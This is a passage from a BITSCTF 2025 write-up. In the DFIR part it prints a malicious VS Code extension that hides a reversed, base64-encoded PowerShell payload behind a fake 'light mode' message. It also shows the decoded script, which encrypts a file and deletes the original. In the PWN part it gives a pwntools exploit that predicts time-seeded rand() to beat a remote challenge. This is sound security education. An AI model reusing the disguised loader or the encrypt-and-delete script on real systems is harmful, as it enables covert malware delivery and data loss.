wlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIzVWYkoQDK0gIj5WZucWYsZGXcB3b0t2clREXcJXZzVHevJmdcx1cyV2cVxFX6MkIg0DIlxWaGRXdwRXdvRiCNIyZuBnLnFGbmxFXw9GdrNXZExFXyV2c1h3biZHXcNnclNXVcxlODJCI9ASZslmR0VHculGJK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQmcwc3czRDU0NjcjNzU51kIg0DIkJ3b3N3chBHJ" ;
$9U5RgiwHSYtbsoLuD3Vf6 = $wy7qIGPnm36HpvjrL2TMUaRbz.ToCharArray() ; [array]::Reverse($9U5RgiwHSYtbsoLuD3Vf6) ; -join $9U5RgiwHSYtbsoLuD3Vf6 2>&1> $null ;
$FHG7xpKlVqaDNgu1c2Utw = [systeM.tEXT.ENCODIng]::uTf8.geTStRInG([sYsTeM.CoNVeRt]::FROMBase64StRIng("$9U5RgiwHSYtbsoLuD3Vf6")) ;
$9ozWfHXdm8eIBYru = "InV"+"okE"+"-ex"+"prE"+"SsI"+"ON" ; new-aliaS -Name PwN -ValUe $9ozWfHXdm8eIBYru -fOrce ; pwn $FHG7xpKlVqaDNgu1c2Utw ;`;
const scriptPath = `C:\\Users\\vboxuser\\AppData\\Local\\Temp\\temp0001`;
try {
fs.writeFileSync(scriptPath, scriptContent);
vscode.window.showInformationMessage(`The light mode will activate in a few minutes.`);
}
catch (error) {
vscode.window.showErrorMessage(`Error activating light mode.`);
}
(0, child_process_1.exec)(`powershell.exe -ExecutionPolicy Bypass -File "${scriptPath}"`, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
}
if (stderr) {
console.error(`Stderr: ${stderr}`);
}
console.log(`Stdout: ${stdout}`);
});
});
context.subscriptions.push(command);
}
- If we reverse the string stored in the
$wy7qIGPnm36HpvjrL2TMUaRbz
variable and then base64 decoded it. it gave us the following values:
$password = "MyS3cr3tP4ssw0rd"
$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)
$iterations = 10000
$keySize = 32
$ivSize = 16
$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)
$key = $deriveBytes.GetBytes($keySize)
$iv = $deriveBytes.GetBytes($ivSize)
$inputFile = "C:\\Users\\vboxuser\\Desktop\\flag.png"
$outputFile = "C:\\Users\\vboxuser\\Desktop\\flag.enc"
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$encryptor = $aes.CreateEncryptor()
$plainBytes = [System.IO.File]::ReadAllBytes($inputFile)
$outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($plainBytes, 0, $plainBytes.Length)
$cryptoStream.FlushFinalBlock()
$cryptoStream.Close()
$outStream.Close()
Remove-Item $inputFile -Force
- This script actually created a
flag.enc
file in the desktop directory of the file by encoding the flag.png file. - I refactored the above code in to a powershell script to decode the
flag.enc
.
$password = "MyS3cr3tP4ssw0rd"
$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)
$iterations = 10000
$keySize = 32
$ivSize = 16
$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)
$key = $deriveBytes.GetBytes($keySize)
$iv = $deriveBytes.GetBytes($ivSize)
$inputFile = "./flag.enc"
$outputFile = "./flag_decrypted.png"
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$decryptor = $aes.CreateDecryptor()
$inStream = New-Object System.IO.FileStream($inputFile, [System.IO.FileMode]::Open)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($inStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$decryptedBytes = New-Object System.Byte[] ($inStream.Length)
$cryptoStream.Read($decryptedBytes, 0, $decryptedBytes.Length)
[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes)
$cryptoStream.Close()
$inStream.Close()
Write-Host "Decryption complete. Decrypted file saved as $outputFile"
- Executing the script generated the
corrupted
flag.png file. but if you use the strings command on it along side grep. it gave you the flag.
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/DFIR]$ strings flag_decrypted.png | grep "BITSCTF"
<rdf:li xml:lang='x-default'>BITSCTF{h0pe_y0u_enj0yed_th1s_145e3f1a} - 1</rdf:li>
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/DFIR]$
- Here is the flag:
BITSCTF{h0pe_y0u_enj0yed_th1s_145e3f1a}
- It was a simple file that prompted the user to guess the correct cookie. But there were around 100 cookies in the file and only one of them could be the answer. Here is the files basic information:
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ ll
total 40
drwxr-xr-x 2 kali kali 4096 Feb 7 22:09 .
drwxr-xr-x 4 kali kali 4096 Feb 7 20:00 ..
-rwxr-xr-x 1 kali kali 21656 Feb 6 19:00 main
-rw-r--r-- 1 kali kali 3405 Feb 7 21:47 previous.py
-rw-r--r-- 1 kali kali 1939 Feb 7 22:09 solve.py
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=102ac972af333cb069ddd21a54364dbbe2a0d9ed, for GNU/Linux 3.2.0, not stripped
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ checksec ./main
[*] '/home/kali/CTF-Events/BITSCTF-2025/PWN/Biscuits/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ ./main
Give me the cookie I want a 100 times in a row and I'll give you the flag!
Guess the cookie: lovebit
Wrong. The cookie I wanted was: Nice Biscuit
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ ./main
Give me the cookie I want a 100 times in a row and I'll give you the flag!
Guess the cookie: Nice Biscuit
Wrong. The cookie I wanted was: Rocky Road Cookie
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$
- I opened up the file in the
ghidra
and started to analyze it. - Here is the
main
functions in the code:
void main(void){
int random_value;
time_t current_time;
size_t input_len;
FILE *file;
long FS_OFFSET;
int i;
char input_cookie [112];
char correct_answer [104];
long STACK_CANARY;
STACK_CANARY = *(long *)(FS_OFFSET + 0x28);
current_time = time((time_t *)0x0);
srand((uint)current_time);
puts("Give me the cookie I want a 100 times in a row and I\'ll give you the flag!");
fflush(stdout);
for (i = 0; i < 100; i = i + 1) {
random_value = rand();
strcpy(correct_answer,*(char **)(cookies + (long)(random_value % 100) * 8));
printf("Guess the cookie: ");
fflush(stdout);
fgets(input_cookie,100,stdin);
input_len = strcspn(input_cookie,"\n");
input_cookie[input_len] = '\0';
random_value = strcmp(input_cookie,correct_answer);
if (random_value != 0) {
printf("Wrong. The cookie I wanted was: %s\n",correct_answer);
exit(0);
}
printf("Correct! The cookie was: %s\n",correct_answer);
fflush(stdout);
}
printf("Congrats!\nFlag: ");
fflush(stdout);
file = fopen("flag.txt","r");
if (file == (FILE *)0x0) {
perror("Failed to open flag file");
exit(1);
}
while( true ) {
random_value = fgetc(file);
if ((char)random_value == -1) break;
putchar((int)(char)random_value);
}
putchar(10);
fclose(file);
fflush(stdout);
if (STACK_CANARY != *(long *)(FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
- After analyzing the file. I wrote the following script to solve this challenge.
from pwn import *
from ctypes import CDLL
import time
context.binary = './main'
e = context.binary
cookies_array_addr = 0x5020
cookies = []
for i in range(100):
ptr = e.read(cookies_array_addr + i * 8, 8)
ptr = u64(ptr.ljust(8, b'\x00'))
cookie = e.read(ptr, 100).split(b'\x00')[0].decode()
cookies.append(cookie)
print(f"Cookies: {cookies[:100]}")
current_time = int(time.time())
for delta in range(-2, 3):
seed = current_time + delta
libc = CDLL('libc.so.6')
libc.srand(seed)
indexes = [libc.rand() % 100 for _ in range(100)]
print(f"Generated indexes with seed {seed}: {indexes[:10]}")
p = remote('20.244.40.210',6000 )
try:
p.recvuntil(b'Give me the cookie I want a 100 times in a row')
for idx in indexes:
p.recvuntil(b'Guess the cookie: ')
p.sendline(cookies[idx].encode())
p.recvuntil(b'Congrats!\nFlag: ')
flag = p.recvline().strip().decode()
print(f"Flag: {flag}")
p.close()
exit()
except Exception as e:
print(f"Error: {e}")
p.close()
print("Failed to find the correct seed.")
- Executing the script gave me the flag:
BITSCTF{7h4nk5_f0r_4ll_0f_th3_c00ki3s_1_r34lly_enjoy3d_th3m_d31fa51e}